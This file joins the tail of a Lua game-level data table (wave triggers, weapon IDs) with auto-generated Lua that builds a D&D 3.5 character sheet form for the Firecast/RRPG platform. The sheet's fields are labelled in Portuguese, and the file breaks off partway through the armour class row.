setAI = 90004,
removeWeapon = {
474443,
474401
}
}
}
}
}
},
{
triggerType = 8,
key = true,
waveIndex = 900,
preWaves = {
201
},
triggerParams = {}
}
}
}
},
fleet_prefab = {}
}
|
require("firecast.lua");
local __o_rrpgObjs = require("rrpgObjs.lua");
require("rrpgGUI.lua");
require("rrpgDialogs.lua");
require("rrpgLFM.lua");
require("ndb.lua");
require("locale.lua");
local __o_Utils = require("utils.lua");
local function constructNew_dnd()
local obj = GUI.fromHandle(_obj_newObject("form"));
local self = obj;
local sheet = nil;
rawset(obj, "_oldSetNodeObjectFunction", rawget(obj, "setNodeObject"));
function obj:setNodeObject(nodeObject)
sheet = nodeObject;
self.sheet = nodeObject;
self:_oldSetNodeObjectFunction(nodeObject);
end;
function obj:setNodeDatabase(nodeObject)
self:setNodeObject(nodeObject);
end;
_gui_assignInitialParentForForm(obj.handle);
obj:beginUpdate();
obj:setDataType("dnd35");
obj:setFormType("sheetTemplate");
obj:setTitle("dnd");
obj:setName("dnd");
obj:setTheme("light");
obj.pgcPrincipal = GUI.fromHandle(_obj_newObject("tabControl"));
obj.pgcPrincipal:setParent(obj);
obj.pgcPrincipal:setAlign("client");
obj.pgcPrincipal:setName("pgcPrincipal");
obj.tab1 = GUI.fromHandle(_obj_newObject("tab"));
obj.tab1:setParent(obj.pgcPrincipal);
obj.tab1:setTitle("Atributos");
obj.tab1:setName("tab1");
obj.rectangle1 = GUI.fromHandle(_obj_newObject("rectangle"));
obj.rectangle1:setParent(obj.tab1);
obj.rectangle1:setAlign("client");
obj.rectangle1:setName("rectangle1");
obj.scrollBox1 = GUI.fromHandle(_obj_newObject("scrollBox"));
obj.scrollBox1:setParent(obj.rectangle1);
obj.scrollBox1:setAlign("client");
obj.scrollBox1:setName("scrollBox1");
obj.flowLayout1 = GUI.fromHandle(_obj_newObject("flowLayout"));
obj.flowLayout1:setParent(obj.scrollBox1);
obj.flowLayout1:setAlign("top");
obj.flowLayout1:setHeight(500);
obj.flowLayout1:setMargins({left=10, right=10, top=10});
obj.flowLayout1:setAutoHeight(true);
obj.flowLayout1:setHorzAlign("center");
obj.flowLayout1:setLineSpacing(2);
obj.flowLayout1:setName("flowLayout1");
obj.rectangle2 = GUI.fromHandle(_obj_newObject("rectangle"));
obj.rectangle2:setParent(obj.flowLayout1);
obj.rectangle2:setWidth(300);
obj.rectangle2:setHeight(190);
obj.rectangle2:setAlign("top");
obj.rectangle2:setColor("white");
obj.rectangle2:setName("rectangle2");
obj.image1 = GUI.fromHandle(_obj_newObject("image"));
obj.image1:setParent(obj.rectangle2);
obj.image1:setSRC("/images/logo.png");
obj.image1:setWidth(300);
obj.image1:setHeight(190);
obj.image1:setStyle("stretch");
obj.image1:setName("image1");
obj.rectangle3 = GUI.fromHandle(_obj_newObject("rectangle"));
obj.rectangle3:setParent(obj.flowLayout1);
obj.rectangle3:setWidth(300);
obj.rectangle3:setHeight(190);
obj.rectangle3:setLeft(305);
obj.rectangle3:setColor("white");
obj.rectangle3:setName("rectangle3");
obj.layout1 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout1:setParent(obj.rectangle3);
obj.layout1:setWidth(300);
obj.layout1:setHeight(60);
obj.layout1:setAlign("top");
obj.layout1:setName("layout1");
obj.edit1 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit1:setParent(obj.layout1);
obj.edit1:setField("1");
obj.edit1:setFontColor("black");
obj.edit1:setWidth(300);
obj.edit1:setHeight(30);
obj.edit1:setName("edit1");
obj.label1 = GUI.fromHandle(_obj_newObject("label"));
obj.label1:setParent(obj.layout1);
obj.label1:setText("Nome do Personagem");
obj.label1:setHorzTextAlign("center");
obj.label1:setWidth(300);
obj.label1:setTop(35);
obj.label1:setFontColor("black");
obj.label1:setName("label1");
obj.layout2 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout2:setParent(obj.rectangle3);
obj.layout2:setWidth(300);
obj.layout2:setHeight(60);
obj.layout2:setTop(65);
obj.layout2:setAlign("top");
obj.layout2:setName("layout2");
obj.edit2 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit2:setParent(obj.layout2);
obj.edit2:setField("2");
obj.edit2:setFontColor("black");
obj.edit2:setWidth(300);
obj.edit2:setHeight(30);
obj.edit2:setName("edit2");
obj.label2 = GUI.fromHandle(_obj_newObject("label"));
obj.label2:setParent(obj.layout2);
obj.label2:setText("Classe e Nível");
obj.label2:setHorzTextAlign("center");
obj.label2:setWidth(300);
obj.label2:setTop(35);
obj.label2:setFontColor("black");
obj.label2:setName("label2");
obj.layout3 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout3:setParent(obj.rectangle3);
obj.layout3:setWidth(300);
obj.layout3:setHeight(60);
obj.layout3:setTop(130);
obj.layout3:setAlign("top");
obj.layout3:setName("layout3");
obj.edit3 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit3:setParent(obj.layout3);
obj.edit3:setField("3");
obj.edit3:setFontColor("black");
obj.edit3:setWidth(73);
obj.edit3:setHeight(30);
obj.edit3:setName("edit3");
obj.label3 = GUI.fromHandle(_obj_newObject("label"));
obj.label3:setParent(obj.layout3);
obj.label3:setText("Tamanho");
obj.label3:setHorzTextAlign("center");
obj.label3:setWidth(73);
obj.label3:setTop(35);
obj.label3:setFontColor("black");
obj.label3:setName("label3");
obj.edit4 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit4:setParent(obj.layout3);
obj.edit4:setField("4");
obj.edit4:setFontColor("black");
obj.edit4:setWidth(73);
obj.edit4:setHeight(30);
obj.edit4:setLeft(75);
obj.edit4:setName("edit4");
obj.label4 = GUI.fromHandle(_obj_newObject("label"));
obj.label4:setParent(obj.layout3);
obj.label4:setText("Idade");
obj.label4:setHorzTextAlign("center");
obj.label4:setWidth(73);
obj.label4:setTop(35);
obj.label4:setLeft(80);
obj.label4:setFontColor("black");
obj.label4:setName("label4");
obj.edit5 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit5:setParent(obj.layout3);
obj.edit5:setField("5");
obj.edit5:setFontColor("black");
obj.edit5:setWidth(73);
obj.edit5:setHeight(30);
obj.edit5:setLeft(150);
obj.edit5:setName("edit5");
obj.label5 = GUI.fromHandle(_obj_newObject("label"));
obj.label5:setParent(obj.layout3);
obj.label5:setText("Sexo");
obj.label5:setHorzTextAlign("center");
obj.label5:setWidth(73);
obj.label5:setTop(35);
obj.label5:setLeft(155);
obj.label5:setFontColor("black");
obj.label5:setName("label5");
obj.edit6 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit6:setParent(obj.layout3);
obj.edit6:setField("6");
obj.edit6:setFontColor("black");
obj.edit6:setWidth(73);
obj.edit6:setHeight(30);
obj.edit6:setLeft(225);
obj.edit6:setName("edit6");
obj.label6 = GUI.fromHandle(_obj_newObject("label"));
obj.label6:setParent(obj.layout3);
obj.label6:setText("Altura");
obj.label6:setHorzTextAlign("center");
obj.label6:setWidth(73);
obj.label6:setTop(35);
obj.label6:setLeft(230);
obj.label6:setFontColor("black");
obj.label6:setName("label6");
obj.rectangle4 = GUI.fromHandle(_obj_newObject("rectangle"));
obj.rectangle4:setParent(obj.flowLayout1);
obj.rectangle4:setWidth(300);
obj.rectangle4:setHeight(190);
obj.rectangle4:setLeft(610);
obj.rectangle4:setColor("white");
obj.rectangle4:setName("rectangle4");
obj.layout4 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout4:setParent(obj.rectangle4);
obj.layout4:setWidth(300);
obj.layout4:setHeight(60);
obj.layout4:setAlign("top");
obj.layout4:setLeft(5);
obj.layout4:setName("layout4");
obj.edit7 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit7:setParent(obj.layout4);
obj.edit7:setField("7");
obj.edit7:setFontColor("black");
obj.edit7:setWidth(300);
obj.edit7:setHeight(30);
obj.edit7:setName("edit7");
obj.label7 = GUI.fromHandle(_obj_newObject("label"));
obj.label7:setParent(obj.layout4);
obj.label7:setText("Nome do Jogador");
obj.label7:setHorzTextAlign("center");
obj.label7:setWidth(300);
obj.label7:setTop(35);
obj.label7:setFontColor("black");
obj.label7:setName("label7");
obj.layout5 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout5:setParent(obj.rectangle4);
obj.layout5:setWidth(300);
obj.layout5:setHeight(60);
obj.layout5:setTop(65);
obj.layout5:setAlign("top");
obj.layout5:setName("layout5");
obj.edit8 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit8:setParent(obj.layout5);
obj.edit8:setField("8");
obj.edit8:setFontColor("black");
obj.edit8:setWidth(100);
obj.edit8:setHeight(30);
obj.edit8:setName("edit8");
obj.label8 = GUI.fromHandle(_obj_newObject("label"));
obj.label8:setParent(obj.layout5);
obj.label8:setText("Raça");
obj.label8:setHorzTextAlign("center");
obj.label8:setWidth(95);
obj.label8:setTop(35);
obj.label8:setFontColor("black");
obj.label8:setName("label8");
obj.edit9 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit9:setParent(obj.layout5);
obj.edit9:setField("9");
obj.edit9:setFontColor("black");
obj.edit9:setWidth(100);
obj.edit9:setHeight(30);
obj.edit9:setLeft(100);
obj.edit9:setName("edit9");
obj.label9 = GUI.fromHandle(_obj_newObject("label"));
obj.label9:setParent(obj.layout5);
obj.label9:setText("Tendência");
obj.label9:setHorzTextAlign("center");
obj.label9:setWidth(95);
obj.label9:setTop(35);
obj.label9:setLeft(100);
obj.label9:setFontColor("black");
obj.label9:setName("label9");
obj.edit10 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit10:setParent(obj.layout5);
obj.edit10:setField("10");
obj.edit10:setFontColor("black");
obj.edit10:setWidth(100);
obj.edit10:setHeight(30);
obj.edit10:setLeft(200);
obj.edit10:setName("edit10");
obj.label10 = GUI.fromHandle(_obj_newObject("label"));
obj.label10:setParent(obj.layout5);
obj.label10:setText("Divindade");
obj.label10:setHorzTextAlign("center");
obj.label10:setWidth(100);
obj.label10:setTop(35);
obj.label10:setLeft(200);
obj.label10:setFontColor("black");
obj.label10:setName("label10");
obj.layout6 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout6:setParent(obj.rectangle4);
obj.layout6:setWidth(300);
obj.layout6:setHeight(60);
obj.layout6:setTop(130);
obj.layout6:setAlign("top");
obj.layout6:setName("layout6");
obj.edit11 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit11:setParent(obj.layout6);
obj.edit11:setField("11");
obj.edit11:setFontColor("black");
obj.edit11:setWidth(73);
obj.edit11:setHeight(30);
obj.edit11:setName("edit11");
obj.label11 = GUI.fromHandle(_obj_newObject("label"));
obj.label11:setParent(obj.layout6);
obj.label11:setText("Peso");
obj.label11:setHorzTextAlign("center");
obj.label11:setWidth(73);
obj.label11:setTop(35);
obj.label11:setFontColor("black");
obj.label11:setName("label11");
obj.edit12 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit12:setParent(obj.layout6);
obj.edit12:setField("12");
obj.edit12:setFontColor("black");
obj.edit12:setWidth(73);
obj.edit12:setHeight(30);
obj.edit12:setLeft(75);
obj.edit12:setName("edit12");
obj.label12 = GUI.fromHandle(_obj_newObject("label"));
obj.label12:setParent(obj.layout6);
obj.label12:setText("Olhos");
obj.label12:setHorzTextAlign("center");
obj.label12:setWidth(73);
obj.label12:setTop(35);
obj.label12:setLeft(80);
obj.label12:setFontColor("black");
obj.label12:setName("label12");
obj.edit13 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit13:setParent(obj.layout6);
obj.edit13:setField("13");
obj.edit13:setFontColor("black");
obj.edit13:setWidth(73);
obj.edit13:setHeight(30);
obj.edit13:setLeft(150);
obj.edit13:setName("edit13");
obj.label13 = GUI.fromHandle(_obj_newObject("label"));
obj.label13:setParent(obj.layout6);
obj.label13:setText("Cabelo");
obj.label13:setHorzTextAlign("center");
obj.label13:setWidth(73);
obj.label13:setTop(35);
obj.label13:setLeft(155);
obj.label13:setFontColor("black");
obj.label13:setName("label13");
obj.edit14 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit14:setParent(obj.layout6);
obj.edit14:setField("14");
obj.edit14:setFontColor("black");
obj.edit14:setWidth(73);
obj.edit14:setHeight(30);
obj.edit14:setLeft(225);
obj.edit14:setName("edit14");
obj.label14 = GUI.fromHandle(_obj_newObject("label"));
obj.label14:setParent(obj.layout6);
obj.label14:setText("Pele");
obj.label14:setHorzTextAlign("center");
obj.label14:setWidth(73);
obj.label14:setTop(35);
obj.label14:setLeft(230);
obj.label14:setFontColor("black");
obj.label14:setName("label14");
obj.rectangle5 = GUI.fromHandle(_obj_newObject("rectangle"));
obj.rectangle5:setParent(obj.flowLayout1);
obj.rectangle5:setWidth(370);
obj.rectangle5:setHeight(200);
obj.rectangle5:setTop(195);
obj.rectangle5:setColor("white");
obj.rectangle5:setName("rectangle5");
obj.layout7 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout7:setParent(obj.rectangle5);
obj.layout7:setWidth(70);
obj.layout7:setHeight(200);
obj.layout7:setName("layout7");
obj.label15 = GUI.fromHandle(_obj_newObject("label"));
obj.label15:setParent(obj.layout7);
obj.label15:setText("Habilidades");
obj.label15:setHeight(50);
obj.label15:setWidth(70);
obj.label15:setHorzTextAlign("center");
obj.label15:setAutoSize(true);
obj.label15:setAlign("top");
obj.label15:setFontColor("black");
obj.label15:setName("label15");
obj.label16 = GUI.fromHandle(_obj_newObject("label"));
obj.label16:setParent(obj.layout7);
obj.label16:setText("FOR");
obj.label16:setHeight(20);
obj.label16:setWidth(70);
obj.label16:setTop(55);
obj.label16:setAutoSize(true);
obj.label16:setFontColor("black");
obj.label16:setName("label16");
obj.label17 = GUI.fromHandle(_obj_newObject("label"));
obj.label17:setParent(obj.layout7);
obj.label17:setText("DES");
obj.label17:setHeight(20);
obj.label17:setWidth(70);
obj.label17:setTop(80);
obj.label17:setAutoSize(true);
obj.label17:setFontColor("black");
obj.label17:setName("label17");
obj.label18 = GUI.fromHandle(_obj_newObject("label"));
obj.label18:setParent(obj.layout7);
obj.label18:setText("CON");
obj.label18:setHeight(20);
obj.label18:setWidth(70);
obj.label18:setTop(105);
obj.label18:setAutoSize(true);
obj.label18:setFontColor("black");
obj.label18:setName("label18");
obj.label19 = GUI.fromHandle(_obj_newObject("label"));
obj.label19:setParent(obj.layout7);
obj.label19:setText("INT");
obj.label19:setHeight(20);
obj.label19:setWidth(70);
obj.label19:setTop(130);
obj.label19:setAutoSize(true);
obj.label19:setFontColor("black");
obj.label19:setName("label19");
obj.label20 = GUI.fromHandle(_obj_newObject("label"));
obj.label20:setParent(obj.layout7);
obj.label20:setText("SAB");
obj.label20:setHeight(20);
obj.label20:setWidth(70);
obj.label20:setTop(155);
obj.label20:setAutoSize(true);
obj.label20:setFontColor("black");
obj.label20:setName("label20");
obj.label21 = GUI.fromHandle(_obj_newObject("label"));
obj.label21:setParent(obj.layout7);
obj.label21:setText("CAR");
obj.label21:setHeight(20);
obj.label21:setWidth(70);
obj.label21:setTop(180);
obj.label21:setAutoSize(true);
obj.label21:setFontColor("black");
obj.label21:setName("label21");
obj.layout8 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout8:setParent(obj.rectangle5);
obj.layout8:setWidth(70);
obj.layout8:setHeight(200);
obj.layout8:setLeft(75);
obj.layout8:setName("layout8");
obj.label22 = GUI.fromHandle(_obj_newObject("label"));
obj.label22:setParent(obj.layout8);
obj.label22:setText("valor");
obj.label22:setHeight(50);
obj.label22:setHorzTextAlign("center");
obj.label22:setAutoSize(true);
obj.label22:setAlign("top");
obj.label22:setFontColor("black");
obj.label22:setName("label22");
obj.edit15 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit15:setParent(obj.layout8);
obj.edit15:setField("forca");
obj.edit15:setHeight(20);
obj.edit15:setWidth(70);
obj.edit15:setTop(55);
obj.edit15:setFontColor("black");
obj.edit15:setName("edit15");
obj.edit16 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit16:setParent(obj.layout8);
obj.edit16:setField("destreza");
obj.edit16:setHeight(20);
obj.edit16:setWidth(70);
obj.edit16:setTop(80);
obj.edit16:setFontColor("black");
obj.edit16:setName("edit16");
obj.edit17 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit17:setParent(obj.layout8);
obj.edit17:setField("constituicao");
obj.edit17:setHeight(20);
obj.edit17:setWidth(70);
obj.edit17:setTop(105);
obj.edit17:setFontColor("black");
obj.edit17:setName("edit17");
obj.edit18 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit18:setParent(obj.layout8);
obj.edit18:setField("inteligencia");
obj.edit18:setHeight(20);
obj.edit18:setWidth(70);
obj.edit18:setTop(130);
obj.edit18:setFontColor("black");
obj.edit18:setName("edit18");
obj.edit19 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit19:setParent(obj.layout8);
obj.edit19:setField("sabedoria");
obj.edit19:setHeight(20);
obj.edit19:setWidth(70);
obj.edit19:setTop(155);
obj.edit19:setFontColor("black");
obj.edit19:setName("edit19");
obj.edit20 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit20:setParent(obj.layout8);
obj.edit20:setField("carisma");
obj.edit20:setHeight(20);
obj.edit20:setWidth(70);
obj.edit20:setTop(180);
obj.edit20:setFontColor("black");
obj.edit20:setName("edit20");
obj.layout9 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout9:setParent(obj.rectangle5);
obj.layout9:setWidth(70);
obj.layout9:setHeight(200);
obj.layout9:setLeft(150);
obj.layout9:setName("layout9");
obj.label23 = GUI.fromHandle(_obj_newObject("label"));
obj.label23:setParent(obj.layout9);
obj.label23:setText("Mod de Habilidade");
obj.label23:setHeight(50);
obj.label23:setHorzTextAlign("center");
obj.label23:setAutoSize(true);
obj.label23:setAlign("top");
obj.label23:setFontColor("black");
obj.label23:setName("label23");
obj.label24 = GUI.fromHandle(_obj_newObject("label"));
obj.label24:setParent(obj.layout9);
obj.label24:setField("modforca");
obj.label24:setHeight(20);
obj.label24:setWidth(70);
obj.label24:setTop(55);
obj.label24:setHorzTextAlign("center");
obj.label24:setFontColor("black");
obj.label24:setName("label24");
obj.label25 = GUI.fromHandle(_obj_newObject("label"));
obj.label25:setParent(obj.layout9);
obj.label25:setField("moddestreza");
obj.label25:setHeight(20);
obj.label25:setWidth(70);
obj.label25:setTop(80);
obj.label25:setHorzTextAlign("center");
obj.label25:setFontColor("black");
obj.label25:setName("label25");
obj.label26 = GUI.fromHandle(_obj_newObject("label"));
obj.label26:setParent(obj.layout9);
obj.label26:setField("modconstituicao");
obj.label26:setHeight(20);
obj.label26:setWidth(70);
obj.label26:setTop(105);
obj.label26:setHorzTextAlign("center");
obj.label26:setFontColor("black");
obj.label26:setName("label26");
obj.label27 = GUI.fromHandle(_obj_newObject("label"));
obj.label27:setParent(obj.layout9);
obj.label27:setField("modinteligencia");
obj.label27:setHeight(20);
obj.label27:setWidth(70);
obj.label27:setTop(130);
obj.label27:setHorzTextAlign("center");
obj.label27:setFontColor("black");
obj.label27:setName("label27");
obj.label28 = GUI.fromHandle(_obj_newObject("label"));
obj.label28:setParent(obj.layout9);
obj.label28:setField("modsabedoria");
obj.label28:setHeight(20);
obj.label28:setWidth(70);
obj.label28:setTop(155);
obj.label28:setHorzTextAlign("center");
obj.label28:setFontColor("black");
obj.label28:setName("label28");
obj.label29 = GUI.fromHandle(_obj_newObject("label"));
obj.label29:setParent(obj.layout9);
obj.label29:setField("modcarisma");
obj.label29:setHeight(20);
obj.label29:setWidth(70);
obj.label29:setTop(180);
obj.label29:setHorzTextAlign("center");
obj.label29:setFontColor("black");
obj.label29:setName("label29");
obj.layout10 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout10:setParent(obj.rectangle5);
obj.layout10:setWidth(70);
obj.layout10:setHeight(200);
obj.layout10:setLeft(225);
obj.layout10:setName("layout10");
obj.label30 = GUI.fromHandle(_obj_newObject("label"));
obj.label30:setParent(obj.layout10);
obj.label30:setText("Valor Temp");
obj.label30:setHeight(50);
obj.label30:setHorzTextAlign("center");
obj.label30:setAutoSize(true);
obj.label30:setAlign("top");
obj.label30:setFontColor("black");
obj.label30:setName("label30");
obj.edit21 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit21:setParent(obj.layout10);
obj.edit21:setField("tforca");
obj.edit21:setHeight(20);
obj.edit21:setWidth(70);
obj.edit21:setTop(55);
obj.edit21:setFontColor("black");
obj.edit21:setName("edit21");
obj.edit22 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit22:setParent(obj.layout10);
obj.edit22:setField("tdestreza");
obj.edit22:setHeight(20);
obj.edit22:setWidth(70);
obj.edit22:setTop(80);
obj.edit22:setFontColor("black");
obj.edit22:setName("edit22");
obj.edit23 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit23:setParent(obj.layout10);
obj.edit23:setField("tconstituicao");
obj.edit23:setHeight(20);
obj.edit23:setWidth(70);
obj.edit23:setTop(105);
obj.edit23:setFontColor("black");
obj.edit23:setName("edit23");
obj.edit24 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit24:setParent(obj.layout10);
obj.edit24:setField("tinteligencia");
obj.edit24:setHeight(20);
obj.edit24:setWidth(70);
obj.edit24:setTop(130);
obj.edit24:setFontColor("black");
obj.edit24:setName("edit24");
obj.edit25 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit25:setParent(obj.layout10);
obj.edit25:setField("tsabedoria");
obj.edit25:setHeight(20);
obj.edit25:setWidth(70);
obj.edit25:setTop(155);
obj.edit25:setFontColor("black");
obj.edit25:setName("edit25");
obj.edit26 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit26:setParent(obj.layout10);
obj.edit26:setField("tcarisma");
obj.edit26:setHeight(20);
obj.edit26:setWidth(70);
obj.edit26:setTop(180);
obj.edit26:setFontColor("black");
obj.edit26:setName("edit26");
obj.layout11 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout11:setParent(obj.rectangle5);
obj.layout11:setWidth(70);
obj.layout11:setHeight(200);
obj.layout11:setLeft(300);
obj.layout11:setName("layout11");
obj.label31 = GUI.fromHandle(_obj_newObject("label"));
obj.label31:setParent(obj.layout11);
obj.label31:setText("Mod Temp");
obj.label31:setHeight(50);
obj.label31:setHorzTextAlign("center");
obj.label31:setAutoSize(true);
obj.label31:setAlign("top");
obj.label31:setFontColor("black");
obj.label31:setName("label31");
obj.label32 = GUI.fromHandle(_obj_newObject("label"));
obj.label32:setParent(obj.layout11);
obj.label32:setField("modtforca");
obj.label32:setHeight(20);
obj.label32:setWidth(70);
obj.label32:setTop(55);
obj.label32:setHorzTextAlign("center");
obj.label32:setFontColor("black");
obj.label32:setName("label32");
obj.label33 = GUI.fromHandle(_obj_newObject("label"));
obj.label33:setParent(obj.layout11);
obj.label33:setField("modtdestreza");
obj.label33:setHeight(20);
obj.label33:setWidth(70);
obj.label33:setTop(80);
obj.label33:setHorzTextAlign("center");
obj.label33:setFontColor("black");
obj.label33:setName("label33");
obj.label34 = GUI.fromHandle(_obj_newObject("label"));
obj.label34:setParent(obj.layout11);
obj.label34:setField("modtconstituicao");
obj.label34:setHeight(20);
obj.label34:setWidth(70);
obj.label34:setTop(105);
obj.label34:setHorzTextAlign("center");
obj.label34:setFontColor("black");
obj.label34:setName("label34");
obj.label35 = GUI.fromHandle(_obj_newObject("label"));
obj.label35:setParent(obj.layout11);
obj.label35:setField("modtinteligencia");
obj.label35:setHeight(20);
obj.label35:setWidth(70);
obj.label35:setTop(130);
obj.label35:setHorzTextAlign("center");
obj.label35:setFontColor("black");
obj.label35:setName("label35");
obj.label36 = GUI.fromHandle(_obj_newObject("label"));
obj.label36:setParent(obj.layout11);
obj.label36:setField("modtsabedoria");
obj.label36:setHeight(20);
obj.label36:setWidth(70);
obj.label36:setTop(155);
obj.label36:setHorzTextAlign("center");
obj.label36:setFontColor("black");
obj.label36:setName("label36");
obj.label37 = GUI.fromHandle(_obj_newObject("label"));
obj.label37:setParent(obj.layout11);
obj.label37:setField("modtcarisma");
obj.label37:setHeight(20);
obj.label37:setWidth(70);
obj.label37:setTop(180);
obj.label37:setHorzTextAlign("center");
obj.label37:setFontColor("black");
obj.label37:setName("label37");
obj.dataLink1 = GUI.fromHandle(_obj_newObject("dataLink"));
obj.dataLink1:setParent(obj.rectangle5);
obj.dataLink1:setFields({'forca', 'destreza', 'constituicao', 'inteligencia', 'sabedoria', 'carisma',
'tforca', 'tdestreza', 'tconstituicao', 'tinteligencia', 'tsabedoria', 'tcarisma'});
obj.dataLink1:setName("dataLink1");
obj.rectangle6 = GUI.fromHandle(_obj_newObject("rectangle"));
obj.rectangle6:setParent(obj.flowLayout1);
obj.rectangle6:setWidth(530);
obj.rectangle6:setHeight(130);
obj.rectangle6:setLeft(380);
obj.rectangle6:setTop(195);
obj.rectangle6:setColor("white");
obj.rectangle6:setName("rectangle6");
obj.layout12 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout12:setParent(obj.rectangle6);
obj.layout12:setHeight(30);
obj.layout12:setWidth(530);
obj.layout12:setName("layout12");
obj.label38 = GUI.fromHandle(_obj_newObject("label"));
obj.label38:setParent(obj.layout12);
obj.label38:setText("");
obj.label38:setHeight(30);
obj.label38:setWidth(50);
obj.label38:setName("label38");
obj.label39 = GUI.fromHandle(_obj_newObject("label"));
obj.label39:setParent(obj.layout12);
obj.label39:setText("Total");
obj.label39:setHeight(30);
obj.label39:setWidth(50);
obj.label39:setLeft(35);
obj.label39:setAutoSize(true);
obj.label39:setHorzTextAlign("center");
obj.label39:setFontColor("black");
obj.label39:setName("label39");
obj.label40 = GUI.fromHandle(_obj_newObject("label"));
obj.label40:setParent(obj.layout12);
obj.label40:setText("DVs");
obj.label40:setHeight(30);
obj.label40:setWidth(80);
obj.label40:setLeft(90);
obj.label40:setAutoSize(true);
obj.label40:setHorzTextAlign("center");
obj.label40:setFontColor("black");
obj.label40:setName("label40");
obj.label41 = GUI.fromHandle(_obj_newObject("label"));
obj.label41:setParent(obj.layout12);
obj.label41:setText("Outros");
obj.label41:setHeight(30);
obj.label41:setWidth(80);
obj.label41:setLeft(175);
obj.label41:setAutoSize(true);
obj.label41:setHorzTextAlign("center");
obj.label41:setFontColor("black");
obj.label41:setName("label41");
obj.label42 = GUI.fromHandle(_obj_newObject("label"));
obj.label42:setParent(obj.layout12);
obj.label42:setText("Deslocamento");
obj.label42:setHeight(30);
obj.label42:setWidth(100);
obj.label42:setLeft(260);
obj.label42:setAutoSize(true);
obj.label42:setHorzTextAlign("center");
obj.label42:setFontColor("black");
obj.label42:setName("label42");
obj.label43 = GUI.fromHandle(_obj_newObject("label"));
obj.label43:setParent(obj.layout12);
obj.label43:setText("Redução de Dano");
obj.label43:setHeight(30);
obj.label43:setWidth(160);
obj.label43:setLeft(365);
obj.label43:setAutoSize(true);
obj.label43:setHorzTextAlign("center");
obj.label43:setFontColor("black");
obj.label43:setName("label43");
obj.layout13 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout13:setParent(obj.rectangle6);
obj.layout13:setWidth(530);
obj.layout13:setHeight(30);
obj.layout13:setTop(35);
obj.layout13:setName("layout13");
obj.label44 = GUI.fromHandle(_obj_newObject("label"));
obj.label44:setParent(obj.layout13);
obj.label44:setText("PVS");
obj.label44:setHeight(30);
obj.label44:setWidth(50);
obj.label44:setFontColor("black");
obj.label44:setName("label44");
obj.edit27 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit27:setParent(obj.layout13);
obj.edit27:setField("15");
obj.edit27:setFontColor("black");
obj.edit27:setHorzTextAlign("center");
obj.edit27:setHeight(30);
obj.edit27:setWidth(50);
obj.edit27:setLeft(35);
obj.edit27:setName("edit27");
obj.edit28 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit28:setParent(obj.layout13);
obj.edit28:setField("16");
obj.edit28:setHeight(30);
obj.edit28:setWidth(80);
obj.edit28:setLeft(90);
obj.edit28:setName("edit28");
obj.edit29 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit29:setParent(obj.layout13);
obj.edit29:setField("outrospvs");
obj.edit29:setHeight(30);
obj.edit29:setWidth(80);
obj.edit29:setLeft(175);
obj.edit29:setFontColor("black");
obj.edit29:setName("edit29");
obj.edit30 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit30:setParent(obj.layout13);
obj.edit30:setField("17");
obj.edit30:setHeight(30);
obj.edit30:setWidth(100);
obj.edit30:setLeft(260);
obj.edit30:setFontColor("black");
obj.edit30:setName("edit30");
obj.edit31 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit31:setParent(obj.layout13);
obj.edit31:setField("18");
obj.edit31:setHeight(30);
obj.edit31:setWidth(160);
obj.edit31:setLeft(365);
obj.edit31:setFontColor("black");
obj.edit31:setName("edit31");
obj.layout14 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout14:setParent(obj.rectangle6);
obj.layout14:setWidth(530);
obj.layout14:setHeight(30);
obj.layout14:setTop(70);
obj.layout14:setName("layout14");
obj.label45 = GUI.fromHandle(_obj_newObject("label"));
obj.label45:setParent(obj.layout14);
obj.label45:setText("CA");
obj.label45:setHeight(30);
obj.label45:setWidth(45);
obj.label45:setFontColor("black");
obj.label45:setName("label45");
obj.edit32 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit32:setParent(obj.layout14);
obj.edit32:setField("totalca");
obj.edit32:setHeight(30);
obj.edit32:setWidth(45);
obj.edit32:setLeft(50);
obj.edit32:setHorzTextAlign("center");
obj.edit32:setFontColor("black");
obj.edit32:setName("edit32");
obj.label46 = GUI.fromHandle(_obj_newObject("label"));
obj.label46:setParent(obj.layout14);
obj.label46:setText(" = 10");
obj.label46:setHeight(30);
obj.label46:setWidth(45);
obj.label46:setLeft(100);
obj.label46:setHorzTextAlign("center");
obj.label46:setFontColor("black");
